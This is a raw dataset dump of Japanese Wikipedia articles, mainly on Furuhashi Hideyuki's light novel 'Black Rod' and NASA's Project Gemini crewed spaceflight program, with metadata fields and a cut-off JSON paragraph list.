* {{Cite journal |和書 |author=鈴木博之 |year=2003 |title=「さざれ石」の由来と地質学的考察 |journal=地球科学 |volume=57 |issue=4 |pages=243-252 |publisher=地学団体研究会 |location=東京 |issn=0366-6611 |doi=10.15080/agcjchikyukagaku.57.4_243 |id={{全国書誌番号|00014726}} |ref=harv}}
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[[Category:石]]
[[Category:君が代]] | 2003-04-16T06:11:16Z | 2023-12-17T01:48:42Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E3%81%95%E3%81%96%E3%82%8C%E7%9F%B3 |
6,795 | ブラックロッド | 『ブラックロッド』は、古橋秀之による日本のライトノベル。第2回電撃ゲーム小説大賞受賞作品で、著者のデビュー作でもある。1996年、メディアワークス刊。1997年に電撃文庫にて文庫化。イラスト・題字は雨宮慶太。文庫版には古橋画のキャラクター設定資料がある。
呪術用語をベースとしたサイバーパンク/オカルトパンクSF小説で、異形の町「ケイオス・ヘキサ」を舞台とした黒杖特捜官(ブラックロッド)の一人と少女の物語でもある。
続編に『ブラッドジャケット』『ブライトライツ・ホーリーランド』があり、「ケイオス・ヘキサ」三部作と呼ばれている。ラジオドラマ化も行われた。
第4回電撃ゲーム小説大賞受賞の『ブギーポップは笑わない』と共に、後進作家に強い影響を与え、後年のレーベル躍進の礎となった金字塔的作品である。黒丸尚が翻訳したウィリアム・ギブスン、ルディー・ラッカーらのサイバーパンクSFを、よりコンピューター・ゲーム的なSFファンタジー小説として描くことで、ライトノベルレーベルとしては後発だった電撃文庫の立ち位置を明確にした。
古橋は後書きにて、本作の舞台設定を「第二次世界大戦の前後を境に正調(?)『オカルト=科学』が発達した未来世界」としている。
3つの都市を奈落堕ち(フォールダウン)させた隻眼のテロリスト、ゼン・ランドーが異形の街「ケイオス・ヘキサ」に潜入。
巨大な黒い杖を持つ黒い男、公安局・魔導特捜官のブラックロッドと妖術技官のヴァージニア9はランドーを追う。一方、私立探偵のウィリアム・龍は、ある依頼をきっかけにランドーの起こす事件に関わっていく。 | [
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| 『ブラックロッド』は、古橋秀之による日本のライトノベル。第2回電撃ゲーム小説大賞受賞作品で、著者のデビュー作でもある。1996年、メディアワークス刊。1997年に電撃文庫にて文庫化。イラスト・題字は雨宮慶太。文庫版には古橋画のキャラクター設定資料がある。 | {{Portal|文学}}
{{加筆|執筆の背景|反響(特に電撃ゲーム小説大賞での選評)|date=2019年1月}}
『'''ブラックロッド'''』は、[[古橋秀之]]による[[日本]]の[[ライトノベル]]。第2回[[電撃ゲーム小説大賞]]受賞作品で<ref>{{Cite book |和書 |author=榎本秋 |date=2005年2月10日初版第1刷発行 |title=ライトノベルデータブック 作家&シリーズ/少年系 |publisher=雑草社 |page=8 |isbn=4-921040-08-7}}</ref>、著者のデビュー作でもある。[[1996年]]、[[メディアワークス]]刊。[[1997年]]に[[電撃文庫]]にて文庫化。イラスト・題字は[[雨宮慶太]]。文庫版には古橋画のキャラクター設定資料がある。<!--ジャンル:[[サイバーパンク]]<ref name="ライトノベルの新・潮流">{{Cite book |和書 |author=[[石井ぜんじ]] / 太田祥暉 / 松浦恵介 |date=2022-01-01 |title=ライトノベルの新・潮流 黎明期→2021 |publisher=スタンダーズ |pages=34 |isbn=978-4-86636-536-7}}</ref>、[[ファンタジー]]{{R|ライトノベルの新・潮流}}-->
== 概要 ==
呪術用語をベースとした[[サイバーパンク]]/オカルトパンクSF小説で、異形の町「ケイオス・ヘキサ」を舞台とした黒杖特捜官(ブラックロッド)の一人と少女の物語でもある。
続編に『[[ブラッドジャケット]]』『[[ブライトライツ・ホーリーランド]]』があり、'''「ケイオス・ヘキサ」三部作'''と呼ばれている。ラジオドラマ化も行われた。
第4回[[電撃小説大賞|電撃ゲーム小説大賞]]受賞の『[[ブギーポップシリーズ|ブギーポップは笑わない]]』と共に、後進作家に強い影響を与え、後年のレーベル躍進の礎となった金字塔的作品である。[[黒丸尚]]が翻訳した[[ウィリアム・ギブスン]]、[[ルディー・ラッカー]]らの[[サイバーパンク]]SFを、より[[コンピュータゲーム|コンピューター・ゲーム]]的なSFファンタジー小説として描くことで、[[ライトノベル]]レーベルとしては後発だった電撃文庫の立ち位置を明確にした。
古橋は後書きにて、本作の舞台設定を「第二次世界大戦の前後を境に正調(?)『オカルト=科学』が発達した未来世界」としている。
== あらすじ ==
3つの都市を奈落堕ち(フォールダウン)させた隻眼のテロリスト、ゼン・ランドーが異形の街「ケイオス・ヘキサ」に潜入。
巨大な黒い杖を持つ黒い男、公安局・魔導特捜官のブラックロッドと妖術技官のヴァージニア9はランドーを追う。一方、私立探偵のウィリアム・龍は、ある依頼をきっかけにランドーの起こす事件に関わっていく。
== 用語 ==
; ケイオス・ヘキサ
: 物語の舞台となる巨大な塔型の都市。同種の都市はバベル型積層都市と呼ばれ、ヘキサは六番目の積層都市の意。上からA、B、C、Dの四層にわかれ、C層は小市民的な街、D層はスラム街として描かれるが、A層、B層は直接的には描写されていない。ただ直射日光の当たる部位はリゾート地である、とされている。また続編ではA層は都市上層部の人間が暮らしていると描写された。なお、作中では<ケイオス・ヘキサ>と山括弧つきで表記される。
; 公安局
: 都市の治安をつかさどる機関。警察のような組織で、魔導特捜を擁する。
; 降魔局
: 作中で毎回のように陰謀を巡らす後ろ暗い機関。公安局とはゆるい緊張関係にある。研究機関であり、「神との接触」がその最終的な目的で、そのためには手段を選ばない傾向がある。
; 黒杖特捜官(ブラックロッド)または魔導特捜官
: 黒革のコートに巨大な呪力増幅杖を携え、己の感情を封印して都市の治安を守る特別捜査官。彼らは全員が達人級以上の魔術士によって構成され、とりわけ困難な魔導犯罪に対する。その黒色の杖からブラックロッドと呼ばれ、彼らで構成される組織・魔導特捜もまたブラックロッドと呼ばれる。ネーミングはおそらく[[黒杖官]]からと思われる。
; 機甲折伏隊(ガンボーズ)
: 戦闘訓練を受けた僧侶たちによって構成され、街外における魔物の掃討を目的とした集団。装甲倍力袈裟をはじめとして、軍隊並の武装をもつ。
; 妖術技官(ウィッチ・クラフト・オフィサー)
: 悪魔と共生関係を結んだ魔女の魂の複製で、魔女の持つ高い魔術的技能を安全に利用するために作られた。短時間であれば霊体のみでの行動も可能だが、通常は不安定な自我を固定するために人工的につくられた亜生体(ホムンクルス)を依代として使う。
;牙持ち(ファンギー)
:吸血鬼の牙を移植して吸血鬼のスタイルを真似する人々。
== 登場人物 ==
; ブラックロッド
: 主人公で黒杖特捜官の一人。ヴァージニア7、ヴァージニア9と組んでゼン・ランドーを追う。
; ビリー・龍
: ウィリアム・龍。D層に居を構える私立探偵。最後の牙持ち。
; ヴァージニア9
: 妖術技官。降魔局から派遣され、ブラックロッドを補佐する。
; ヴァージニア7
: 妖術技官。ヴァージニア9とは型番違いの姉妹。
; ナオミ・J・ジェニスン
: ビリーの事務所「ウィリアム龍探偵事務所」の大家の娘。
; ゼン・ランドー
: 元大日本帝国の呪術将校。影男。三つの都市の奈落堕ちに関与したテロリスト。
; オースン・D・ベイカー
: 呪紋屋。
== シリーズ作品 ==
* [[ブラッドジャケット]]
* [[ブライトライツ・ホーリーランド]]
== ラジオドラマ版 ==
=== スタッフ ===
* 主題歌 - [[影山ヒロノブ]]
* 脚本 - [[千葉克彦]]
* キャスト
** ブラックロッド - [[大塚明夫]]
** ビリー・龍 - [[神谷明]]
** ヴァージニア9 - [[富沢美智恵]]
** ヴァージニア7 - [[岩男潤子]]
** ナオミ・J・ジェニスン - [[笠原留美]]
** ゼン・ランドー - [[若本規夫]]
** オースン・D・ベイカー - [[塩沢兼人]]
== 作品リスト ==
* 『ブラックロッド』(ハードカバー版。[[特別:Booksources/isbn=4073041606|ISBN 4-07-304160-6]])
* 『ブラックロッド』(文庫版。[[特別:Booksources/isbn=407306035X|ISBN 4-07-306035-X]])
* 『ブラックロッド』([[三部敬]]画、古橋秀之原作。漫画版。[[特別:Booksources/isbn=4-07-306874-1|ISBN 4-07-306874-1]])
== 脚注 ==
{{脚注ヘルプ}}
{{Reflist}}
{{電撃小説大賞
|回数=2
|賞=大賞
|作品名=ブラックロッド
|著者=古橋秀之
|前回受賞作1=五霊闘士オーキ伝
|前回受賞者1=土門弘幸
|次回受賞作1=なし
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[[Category:古橋秀之]]
[[Category:日本のファンタジー小説]]
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[[Category:日本のラジオドラマ]] | 2003-04-16T08:55:38Z | 2023-12-23T09:59:50Z | false | false | false | [
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6,798 | ジェミニ計画 | ジェミニ計画(ジェミニけいかく、英語: Project Gemini)は、アメリカ合衆国航空宇宙局(NASA)の二度目の有人宇宙飛行計画である。1961年から1966年にかけ、マーキュリー計画とアポロ計画の間に行われた。ジェミニ宇宙船は2名の宇宙飛行士を宇宙に送る能力があり、1965年から1966年までの間に10名の宇宙飛行士が地球周回低軌道を飛行した。この計画により、アメリカは東西冷戦時代にソビエト連邦との間でくり広げられた宇宙開発競争において優位に立つこととなった。
ジェミニの目標はアポロ計画で必須となる月面着陸のための技術を開発することで、月に行って帰ってくるまでに必要とされる期間の宇宙滞在を達成し、船外活動によって宇宙船の外に出て活動を行い、ランデブーとドッキングの実行をする際に必要となる軌道操作の技術を切り開いた。これらの新技術が検証されたことにより、アポロ計画では基本試験を行うことなく、月飛行という本来の目的を遂行することができた。
宇宙船はすべてフロリダ州のケープカナベラル空軍基地19番発射施設から打ち上げられた。発射機には大陸間弾道ミサイルを改良したタイタンII型ロケットが使用された。またヒューストンのジョンソン宇宙センターに新たに建設されたミッション・コントロールセンターが飛行管制に使用されたのも、この計画が初めてであった。
計画を支えた飛行士には、マーキュリー・セブンと呼ばれるアメリカ最初の宇宙飛行士に加え、グループ2と呼ばれる第二次選抜隊および1963年に任命されたグループ3と呼ばれる第三次選抜隊が含まれていた。計画期間中にジェミニ9号で搭乗予定だった飛行士を含む3名が、訓練中の航空機事故により死亡している。9号は結局予備搭乗員によって遂行されたが、これは今日に至るまでNASAの歴史において唯一の事例であった。
ジェミニ宇宙船は性能が優れていたため、空軍は有人軌道実験室 (Manned Orbital Laboratory, MOL) に使用することを検討していたが、MOL計画は後に中止された。ジェミニの主任設計官ジム・シャンベルリン (Jim Chamberlin) は、地球と月の間の宇宙空間を飛行し月面に着陸する詳細な計画を1961年の終わりに立案していた。彼はジェミニはアポロよりも早く、しかも安いコストで月面着陸を実行できると信じていたが、NASAの上層部はこの案を採用しなかった。1969年、マクドネル・ダグラス社はジェミニを改良したビッグ・ジェミニという宇宙船を提案した。ビッグ・ジェミニはアポロ応用計画 (Apollo Applications Project, AAP) で使用される宇宙ステーションに一度で最大12名までの飛行士を送り込むことができるはずだったが、AAPで実現されたのは実存するアポロ宇宙船を使用するスカイラブ計画のみだったため、ビッグ・ジェミニが実行されることはなかった。
1961年5月25日、人間を月面に着陸させるという現行のアポロ計画がジョン・F・ケネディ (John Fitzgerald Kennedy) 大統領によって認可された後、NASAの職員たちには、アポロを成立させるための特定の飛行技術を開発するには、マーキュリーに継続する何らかの計画が必要になることが明らかになった。
特にアメリカの有人宇宙飛行計画を推進するスペース・タスク・グループ (Space Task Group) の主任技術者であったジム・シャンベルリンは、すでに1961年2月の段階でマーキュリーとアポロの橋渡しをする計画を開始することを命じられていた。同年3月、シャンベルリンはワロップス島にあるNASAの秘密施設で、ジェミニ計画に関する2種類の初期案を提出した。7月にはセントルイスのマクドネル社で、ジェミニ宇宙船の原型となるマーキュリー・マークII宇宙船の縮尺模型が公開された。12月7日、NASAはジェミニ計画を承認し、同月22日にはマクドネル社が宇宙船製造の主契約企業に指定された。
1962年1月3日に計画が公表された際、あらためて名称はジェミニ計画 (Project Gemini) と命名された。gemini(ゲミニー)はラテン語で「双子」あるいは「2人」を意味し、宇宙船が飛行士2名を搭乗させることを反映している。Geminiはまた黄道帯の第三星座であるふたご座の学名でもある。ただし、星座のGeminiは英語では「ジェミナイ」と読むが、「Project Gemini」の Geminiは「ジェミニ(ー)」(英語ではジェミニとジェミニーに発音の区別はない)と読む。
計画の主目的は、以下のとおりである:
人員2名を搭乗させるジェミニ宇宙船の設計は、カナダ人のジム・シャンベルリンが行った。シャンベルリンはジェミニ計画に参加する以前は、アブロ・カナダ社のアブロ・カナダ CF-105要撃機計画における主任空気力学者であった。彼がアブロ社の25人の部下の技術者とともにNASAに参加したのはCF-105計画が中止になったあとのことで、スペース・タスク・グループにおけるジェミニ計画の技術部門の責任者に任命された。また元請企業はマクドネル・エアクラフト社であり、同社はマーキュリー計画の宇宙船の製造も担当していた。
ジェミニ宇宙船の開発と設計に深く関わっていたのは宇宙飛行士のガス・グリソム (Gus Grissom) で、他の飛行士たちはジェミニ宇宙船に「ガスモバイル (Gusmobile, ガスの自動車の意)」とあだ名をつけていた。死後の1968年に出版された自著「ジェミニ!」によれば、グリソムが来たるべきジェミニ計画に心血を注いだのは、マーキュリー計画が終りに近づき、同計画で自身が再び搭乗できる可能性がなくなったことに気づいたからであった。
ジェミニ計画を管理していたのはテキサス州ヒューストンのジョンソン宇宙センターで、同所はまたワシントンD.C.に本部を持つNASAの有人宇宙飛行局の指示を受けていた。計画の代行取締役は、NASAの有人宇宙飛行の準監督者ジョージ・ミューラー (George E. Mueller) 博士が務めていた。有人宇宙飛行の任務遂行本部の副指揮官であるウィリアム・シュナイダー (William C. Schneider) は、ジェミニ6号の開始からすべての飛行の指揮官を担当した。
マクドネル社の技術者ギュンター・ウェント(Guenter Wendt) はマーキュリーとジェミニの両方で発射準備を監督し、アポロで飛行士を打ち上げる際にも同じ任務を担当することになっていた。彼のチームは発射直前に発射台周辺を封鎖する作業も担当した。飛行士が宇宙船のハッチを閉じる前に見る最後の人間は、ウェントであった。飛行士らは、宇宙船のコンディションについて彼が絶対的な権限を持ち、すべての責任を持つことを望み、また彼と気さくで良好な人間関係を築いた。
1961年、NASAは宇宙船製造の元請企業に、マーキュリー宇宙船の元請だったマクドネル・エアクラフト社を指名した。第一号機は1963年に納入された。全長は5.61メートル、直径は3メートルで、重量は3,200キログラムから3,790キログラムまでと飛行によって異なった。
ジェミニの司令船 (帰還区画とも呼ばれる) は、基本的にはマーキュリー宇宙船の拡大版であった。マーキュリーと違い、逆噴射ロケット、電源、推進装置、酸素、水などは司令船の後部に取りつけられている接続区画に搭載されていた。ジェミニにおける設計の主な改良点は宇宙船のすべての内部システムを機器区画に搭載したことで、これによりすでに試験された機器を取り去ったり妨げたりすることなく、独立して検査できるようになったことであった。
船内の機器の多くは、点検用のドアを開ければ手が届くところに配置されていた。マーキュリーと違いジェミニは回路に真空管を一切使用せず、すべて半導体素子を用いていた。またそのモジュール (区画) は、非常に修理しやすくなるよう設計されていた。
脱出装置には、マーキュリーのような固体燃料ロケットで射出する塔型の緊急脱出用ロケットは使用せず、代わりに航空機などで採用されている射出座席を用いていた。塔型の装置は重く構造が複雑であり、またタイタンIIの自然発火性の推進剤は接触すればただちに燃焼してしまうため、NASAの技術者は塔は不必要であると推測した。アトラスやサターンのような極低温の燃料を使用するロケットに比較すると、タイタンIIは爆発した際の爆風の影響は小さく、故障したロケットから飛行士を退避させるには射出座席で十分だった。射出座席が使用できない高高度では宇宙船そのものを切り離し、飛行士は船内にとどまったまま脱出することになっていた。
射出座席使用の主な支持者は、NASAのスペース・タスク・グループ技術部長のシャンベルリンだった。彼はマーキュリーの脱出塔をずっと好まず、重量を削減できるもっと簡素な代替策を用いることを望んでいた。シャンベルリンはアトラスやタイタンIIミサイルの発射が失敗した際のさまざまな映像を検証し、機体の爆発で発生する火球のおおよその大きさを計測した。その結果、タイタンIIの爆発で生じる火球は十分に小さいため、宇宙船からの脱出は射出座席だけで十分であると判断した。
一方でマーキュリーの脱出装置の設計者だったマキシム・ファジェット (Maxime Faget) は、この装置には決して乗り気ではなかった。射出座席は飛行士に深刻な損傷を負わせる可能性がある上に、ロケットが音速を超えると脱出不可能になってしまうため、座席を使用できる時間は発射後40秒以内に限られていた。彼はまた、ロケットが上昇している最中に機外に放出されると、飛行士が排気ガスの中に巻き込まれてしまうことを懸念し、「最もよいのは、脱出装置を使うような事態に陥らせないようにすることだ」と述べた。
ジェミニは飛行操縦の管理と制御を容易にするためのコンピューターを搭載した、初の有人宇宙船だった。またマーキュリーにはなかった、通常の航空機で使用されているようなフライトレーダーや姿勢指示器も採用していた。
当初ジェミニはハンググライダーのようなロガロ翼を使い、海面ではなく地上に着陸することを目指していた。この場合飛行士は、航空機のように頭部を上にした姿勢で着座して機体を操縦することになった。これを可能にするために、ロガロ翼は機体の先端部ではなく、バランスを取るために後部の熱保護板の近くに取りつけられた。また機体と翼を結ぶワイヤーは2つの座席のハッチの間に設けられ、金属の板で覆われていた。これらの案は最終的には却下され、マーキュリーと同様にパラシュートで海に着水することになった。機体はパラシュートから水平に近い角度でつり下げられるため、着水の際は底部の円錐の縁の部分から水面を切るようにして入水した。これによって衝撃が緩和されたため、マーキュリーで使用されたようなエアバッグは不要になった。
接続区画は、順に逆噴射区画と機器区画に分かれていた。
逆噴射区画には、4基の固体燃料ロケットエンジンが設置されていた。それぞれは球にノズルがついた形をしており、梁に取りつけられていた。梁は2本あり、機体の中心で十字型に交叉していた。帰還の際には1基ずつ順に点火されるが、ロケットが上昇している最中に何らかの異常が発生した場合は4基同時に点火され、宇宙船をロケットから切り離すことになっていた。
ジェミニには軌道姿勢制御システムが搭載されていた。このシステムは16基の噴射機から構成されており、マーキュリーと同様にヨー・ピッチ・ロールの姿勢制御をするとともに、直行するすべての3軸 (前進・後退、左移動・右移動、上昇・下降) への平行移動の制御を可能にした。平行移動の能力を得たことにより、他の衛星とのランデブーやアジェナ標的機とのドッキングの際に必要になる、軌道傾斜角や高度の変更が可能になった。またアジェナ衛星のロケットエンジンを使用することにより、さらに大きな軌道変更ができるようになった。
電力は初期の短期間の飛行では通常の電池から供給されたが、後期の長期間の飛行では有人宇宙船としては初めて燃料電池が使用された。
ジェミニの後期の飛行は、アポロの飛行が開始されるほんの1年ほど前に行われたため、いくつかの点においてはアポロよりも優れていた。機体の設計に関しては、どんな小さな部分もグリソム飛行士の影響でジェット戦闘機のような特徴を取り入れていたため、「パイロットのための宇宙船」として知られるようになった。またアメリカの有人宇宙飛行計画が、長期間の飛行・ランデブー・船外活動の能力において明らかにソ連を凌駕しはじめたのはこの時期であった。この間、ソ連は人間を月に送ることを目指してソユーズ宇宙船を開発していたが、政治的あるいは技術的な問題が立ちはだかったことにより、有人月飛行計画は最終的に放棄された。
タイタンIIはアトラスに替わる空軍の第二世代の大陸間弾道ミサイル (Inter Continental Ballistic Missile, ICBM) として、1962年に開発された。燃料と酸化剤にはアトラスでは液体酸素とケロシンが使用されていたが、タイタンでは四酸化二窒素とヒドラジンが採用された。これは混ぜ合わせただけで発火するという性質を持っているため、点火装置などの部品が不要になり、構造を簡素化することができた。また長期間の保管が可能になり、発射の手順も簡略化できた。唯一の弱点は、きわめて毒性が強いということであった。一方で初期のタイタンはポゴ振動が発生するという、人間を乗せて打ち上げるには深刻な問題を抱えていた。
ジェミニを打ち上げたタイタンには、ASC-15という独自の (独立した) 誘導コンピューターが搭載されていた。ジェミニ誘導コンピューターは重量が26.7キログラムで、サターンロケットに搭載されていた「サターン発射機デジタルコンピューター」ときわめて似ているものだった。
16名の飛行士が、10の飛行に搭乗した。:
ジェミニ計画における飛行士の選抜について最大の権限を持っていたのは、飛行士管理部長のドナルド・スレイトンだった。それぞれの飛行に本搭乗員と予備搭乗員を割り当て、予備搭乗員はその3つ後の飛行で本搭乗員になるという原則は、ジェミニ以降に確立した。スレイトンはまた最初の飛行任務を、マーキュリー・セブンで残っている4人の現役の飛行士、シェパード、グリソム、クーパー、シラーに与えるつもりだった (7人のうちジョン・グレンは1964年1月にNASAを退役していた。またマーキュリー・アトラス7号で、帰還の際に問題を発生させNASAの一部の上層部から非難されていたスコット・カーペンターは、海軍の海底居住実験SEALABに参加するために休職中で、1964年7月にオートバイ事故による怪我で任務を解かれた。スレイトン自身は心臓疾患が原因で地上任務に就いていた)。
1963年の後半、スレイトンはまずシェパードとスタッフォードをジェミニ3号の、マクディヴィットとホワイトを4号の、シラーとヤングを5号 (アジェナとの初のランデブーに成功することになる) の飛行士に任命した。3号の予備搭乗員はグリソムとボーマンで、彼らは初の長期宇宙滞在を目指す6号で飛行することになっていた。最後にコンラッドとラヴェルが4号の予備搭乗員に任命された。だがアジェナ標的衛星の開発の遅れにより、飛行士のローテーションに1回目の修正が必要となった。まずシラーとヤングが3号のシェパードとスタッフォードの予備搭乗員になり、同時に6号の飛行士に任命された。またグリソムとボーマンは、5号で長期宇宙滞在をすることになった。
2度目の修正は、シェパードが内耳の疾患であるメニエール病を煩ったことにより生じた。まずグリソムが3号の船長に異動になった。またスレイトンは、グリソムには性格的にヤングのほうが相性が良いと感じていたので、スタッフォードとヤングを入れ替えた。さらにクーパーを、長期滞在をする5号の船長にした。また性格的な相性の理由から、4号の予備搭乗員の船長だったコンラッドを5号の飛行士に、ボーマンを4号の予備船長に異動した。最後に彼はアームストロングとエリオット・シーを5号の予備搭乗員に任命した。3度目の修正は、スレイトンがシーは体力的にジェミニ8号の船外活動をやりこなせないと感じたことにより行われた。彼はシーを9号の本搭乗員の船長にし、スコットを8号の飛行士に、バセットを9号の飛行士にした。
4回目にして最後となる修正は、シーとバセットが訓練機の墜落事故で死亡したことにより行われた。両名が搭乗するT-38は、セントルイスのマクドネル社の建物に激突した。奇しくもそこでは、彼らが搭乗することになる9号の宇宙船が製造中であった。予備搭乗員だったスタッフォードとサーナンが、新たに9A号と名づけられた飛行の本搭乗員となり、10号の予備搭乗員だったラヴェルとオルドリンが9号の予備搭乗員になった。これにより、ラヴェルとオルドリンには12号の本搭乗員になる道が開けた。
アポロ1号の火災事故でガス・グリソム、エドワード・ホワイト、ロジャー・チャフィーの3飛行士が死亡したことにより、この最終調整はアポロ計画における最初の7名の飛行士の選抜に影響を与えることになった。それはまた、この7名のうち誰が最初に月面に降り立つのかということを意味していた。
1964年から1965年にかけ、宇宙船システムと熱遮蔽板のテストのため2機の無人機が打ち上げられ、その後1965年から1966年にかけ10回の有人飛行が行われた。発射にはすべてタイタンIIロケットが使用された。ジェミニ計画における重要点は、以下の通りである。:
軌道上でランデブーを行うのは、簡単な操作ではない。ある宇宙船が、先行する他の宇宙船に追いつこうとしたとする。この場合単純に速度を上げたら、高度が上昇して地球を周回する速度が減少するため、結果的には逆に距離が離れてしまうことになる。正しい手順は、まず減速することである。すると低い軌道に移行して宇宙船の速度が増すため、他機に先行する。その後再び加速すれば、目標の衛星と同じ軌道に乗ることができる。これらの手順を飛行士に訓練させるため、特殊なシミュレーターが作られた。
NASAは空軍のタイタンミサイルを、ジェミニの発射機タイタンII GLVとして採用した (同様にマーキュリー計画においては、空軍のアトラスミサイルが発射機に採用されていた)。ジェミニ発射機には空軍の製造番号が割り振られていて、その番号は機体の4カ所 (第一段および第二段の前面と後面) に表示されていた。発射場の19番発射施設の維持管理は空軍のスタッフが担当し、同時にすべての発射機の準備および発射の進行も彼らが行った。タイタンを運営したことで得られたデータや経験は、空軍とNASA双方にとって有益なものであった。
空軍が割り当てたジェミニ発射機の製造番号は、上記の「飛行リスト」の表に書かれているとおりである。1962年に15機のタイタンIIが発注されたため、番号は「62-12XXX」となるはずだったが、実際には「12XXX」とだけ表示されていた。15機のうち最後の3機は1964年7月30日に発注がキャンセルされ製造されなかったが、GLV-13には「12568」、GLV-14には「12569」、GLV-15には「12570」の番号が与えられていた。
1969年1月にNASAが議会に提出するために準備した、マーキュリー、ジェミニおよびアポロ (初の月面着陸を行う) にかかる経費の見積もりによれば、ジェミニ計画の経費は12億8340万ドルで、その内訳は宇宙船に7億9740万ドル、発射機に4億980万ドル、その他が7620万ドルであった。またオンラインマガジンの「スペース・レヴュー (The Space Review)」が2010年に行った試算によれば、1962年から1967年にかけてのジェミニ計画の経費を1967年のインフレ率で換算すると13億ドルで、2010年の貨幣価値では73億ドルに相当するとのことであった。またそれぞれの発射にかかった経費も、2010年現在で7億2300万ドルに相当した。
マーキュリーおよびジェミニ宇宙船の元請だったマクドネル社はアポロ宇宙船の入札にも参加していたが、ノースアメリカン社に敗れていた。マクドネル社は後に、派生的な応用計画を提案することでジェミニ計画を拡張することを模索した。その提案によれば、宇宙船は地球から遠く離れた宇宙空間を飛行することができ、またアポロよりも早く安いコストで有人月面着陸を達成することさえできたが、それらの提案はNASAに退けられた。
この一連の応用計画は発展型ジェミニ計画とみなされ、その中には軍事的飛行や宇宙ステーションへの人員や物資の輸送、さらには月飛行などが含まれていた。月飛行の提案には、アジェナ標的衛星のために開発されたドッキング装置を、宇宙船を月に送り込むことができるセントールのようなより強力な上段ロケットに乗せて再使用することから、ジェミニを改造した宇宙船で月面着陸を可能にさせることまで含まれていた。この応用計画は、アポロより前に有人月周回飛行を達成し、アポロ宇宙船が危機に陥った際に飛行士を救出したり緊急避難場所を提供することなども含み、さらにはアポロ計画そのものに取って代わるものにさえなるはずであった。
発展型ジェミニの提案の中には、当初の設計から変わっていない「在庫品」の宇宙船を使用することも含まれていたが、一方でその他のものは、より多くの飛行士が搭乗でき、宇宙ステーションとドッキングし、月を訪れ、その他の飛行計画を実行することができる改造型であることを特徴としていた。また検討された改造の中には、宇宙船に航空機のような翼をつけたりパラセールを搭載するなどして、水平着陸を可能にさせるものなどもあった。
ビッグ・ジェミニ (または"Big G") は、1969年8月にマクドネル社によってなされたもうひとつの提案である。これは宇宙船により多くの搭載能力を持たせ、究極的にはアポロや後のスペースシャトルで行われたような、宇宙への全目的的な飛行を可能にすることを意図していた。
この研究は、軌道上の宇宙ステーションに再補給をするために使用されることになる、ジェミニに由来する輸送用宇宙船の定義を予備的に設定するために行われた。その設計においては、あらかじめ選定された地上の特定の場所に着陸できる能力、機能の刷新、および機器の再使用などが要求された。宇宙船には2つの基本線が設定された。1つは最小限の改造 (minimum modification) を施し乗員9名を搭乗させるジェミニB案で、Min-Mod Big Gと呼ばれた。もう1つは外形は同じだが、新しい最先端のシステムを搭載し乗員12名を搭乗させる、Advanced Big G (発展型ビッグG) と呼ばれるより高度な発想のものであった。これらの宇宙船の発射機としては、サターンIB、タイタンIIIM、サターンINT-20などが検討された。
空軍はジェミニのシステムに関心を示し、その改造型の宇宙船を有人軌道実験室 (MOL) の搭乗機として使用することを決定した。この目的を達成するためジェミニ2号の宇宙船が改装され、MOLの実物大模型の上に乗せられタイタンIIICロケットで打ち上げられたが、同一の宇宙船が二度宇宙に行ったのはこれが最初の例であった。
また空軍はジェミニ宇宙船を、地上の (特殊な偵察用カメラを搭載しない) 概略的な監視を行ったり、不審な衛星へのランデブーを実行したりするような、軍事的応用のために採用する考えを持っていた。この計画はブルー・ジェミニと呼ばれた。空軍は宇宙船が海軍に回収されることになるという事実を好まなかったため、ブルー・ジェミニには最終的に本来の設計にあったような翼を持たせ、3本の橇を使って地上に着陸させることを意図していた。
当初NASAの内部には経費を空軍と負担し合うことを歓迎する者もいたが、後にはNASA自身で計画を進めたほうが上手くいくことになるということで合意が形成された。ブルー・ジェミニ計画は1963年に国防長官のロバート・マクナマラによって廃止された。彼は必要な軍事的実験は、NASAのジェミニ計画によって実行できると決定した。またMOL計画は1969年に国防長官メルヴィン・レイヤード (Melvin Laird) によって廃止された。彼は無人の偵察衛星が、同じ機能をより安い費用で行えると決断した。 | [
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"text": "1961年、NASAは宇宙船製造の元請企業に、マーキュリー宇宙船の元請だったマクドネル・エアクラフト社を指名した。第一号機は1963年に納入された。全長は5.61メートル、直径は3メートルで、重量は3,200キログラムから3,790キログラムまでと飛行によって異なった。",
"title": "宇宙船"
},
{
"paragraph_id": 14,
"tag": "p",
"text": "ジェミニの司令船 (帰還区画とも呼ばれる) は、基本的にはマーキュリー宇宙船の拡大版であった。マーキュリーと違い、逆噴射ロケット、電源、推進装置、酸素、水などは司令船の後部に取りつけられている接続区画に搭載されていた。ジェミニにおける設計の主な改良点は宇宙船のすべての内部システムを機器区画に搭載したことで、これによりすでに試験された機器を取り去ったり妨げたりすることなく、独立して検査できるようになったことであった。",
"title": "宇宙船"
},
{
"paragraph_id": 15,
"tag": "p",
"text": "船内の機器の多くは、点検用のドアを開ければ手が届くところに配置されていた。マーキュリーと違いジェミニは回路に真空管を一切使用せず、すべて半導体素子を用いていた。またそのモジュール (区画) は、非常に修理しやすくなるよう設計されていた。",
"title": "宇宙船"
},
{
"paragraph_id": 16,
"tag": "p",
"text": "脱出装置には、マーキュリーのような固体燃料ロケットで射出する塔型の緊急脱出用ロケットは使用せず、代わりに航空機などで採用されている射出座席を用いていた。塔型の装置は重く構造が複雑であり、またタイタンIIの自然発火性の推進剤は接触すればただちに燃焼してしまうため、NASAの技術者は塔は不必要であると推測した。アトラスやサターンのような極低温の燃料を使用するロケットに比較すると、タイタンIIは爆発した際の爆風の影響は小さく、故障したロケットから飛行士を退避させるには射出座席で十分だった。射出座席が使用できない高高度では宇宙船そのものを切り離し、飛行士は船内にとどまったまま脱出することになっていた。",
"title": "宇宙船"
},
{
"paragraph_id": 17,
"tag": "p",
"text": "射出座席使用の主な支持者は、NASAのスペース・タスク・グループ技術部長のシャンベルリンだった。彼はマーキュリーの脱出塔をずっと好まず、重量を削減できるもっと簡素な代替策を用いることを望んでいた。シャンベルリンはアトラスやタイタンIIミサイルの発射が失敗した際のさまざまな映像を検証し、機体の爆発で発生する火球のおおよその大きさを計測した。その結果、タイタンIIの爆発で生じる火球は十分に小さいため、宇宙船からの脱出は射出座席だけで十分であると判断した。",
"title": "宇宙船"
},
{
"paragraph_id": 18,
"tag": "p",
